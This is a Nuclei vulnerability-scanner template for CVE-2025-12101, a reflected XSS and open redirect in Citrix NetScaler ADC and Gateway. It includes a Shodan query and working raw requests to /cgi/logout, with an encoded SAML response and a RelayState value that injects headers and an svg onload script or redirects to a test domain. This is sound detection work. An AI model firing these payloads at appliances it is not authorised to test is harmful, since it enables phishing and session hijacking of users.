id: CVE-2025-12101

info:
  name: Citrix NetScaler ADC & Gateway - Reflected XSS / Open Redirect
  author: DhiyaneshDK,watchtowr
  severity: medium
  description: |
    Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.
  impact: |
    Attackers can execute JavaScript in victim browsers or redirect users to malicious sites through crafted SAML responses in Citrix NetScaler Gateway configurations.
  remediation: |
    Apply the latest Citrix security patches that properly sanitize SAML response handling in NetScaler ADC and Gateway.
  reference:
    - https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/?1
  metadata:
    verified: true
    max-request: 1
    vendor: citrix
    product: netscaler_application_delivery_controller
    shodan-query: http.title:"citrix gateway"
  tags: cve,cve2025,citrix,xss,js

flow: javascript() || http()

javascript:
  - code: |
      let net = require("nuclei/net");

      let body = "SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1sOkFzc2VydGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0idGVzdCIgVmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUuY29tPC9zYW1sOk5hbWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik%2b";

      let request = `POST /cgi/logout HTTP/1.1\r\n`;
      request += `Host: ${Host}\r\n`;
      request += `Content-Type: application/x-www-form-urlencoded\r\n`;
      request += `Content-Length: ${body.length}\r\n`;
      request += `\r\n`;
      request += body;

      let conn = net.OpenTLS('tcp', `${Host}:${Port}`);
      conn.Send(request);

      let response = conn.RecvString();
      conn.Close();

      let statusMatch = response.match(/HTTP\/\d\.\d\s+(\d+)/);
      let statusCode = statusMatch ? parseInt(statusMatch[1]) : 0;

      let hasXSSPayload = response.includes('<svg/onload=alert(document.domain)>');

      if (statusCode === 302 && hasXSSPayload) {
        Export(response);
      }

    args:
      Host: "{{Host}}"
      Port: 443

    matchers:
      - type: dsl
        name: xss
        dsl:
          - "success == true"
http:
  - raw:
      - |
        POST /cgi/logout HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1sOkFzc2VydGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0idGVzdCIgVmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUuY29tPC9zYW1sOk5hbWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=aHR0cHM6Ly9zY2FubWUuc2g=

    matchers:
      - type: dsl
        name: open-redirect
        dsl:
          - status_code == 302
          - contains(location, 'https://scanme.sh')
        condition: and
# digest: 4b0a00483046022100d2d9a0dffe7e35f537f7336cc4570b0bf6bc2242ded7ea9fa54df2aa6e80a35c022100d48c9b1c50086bde96231a18650c5cd93c3f8fcec399319db928dfb257843b6b:922c64590222798bb761d5b6d8e72950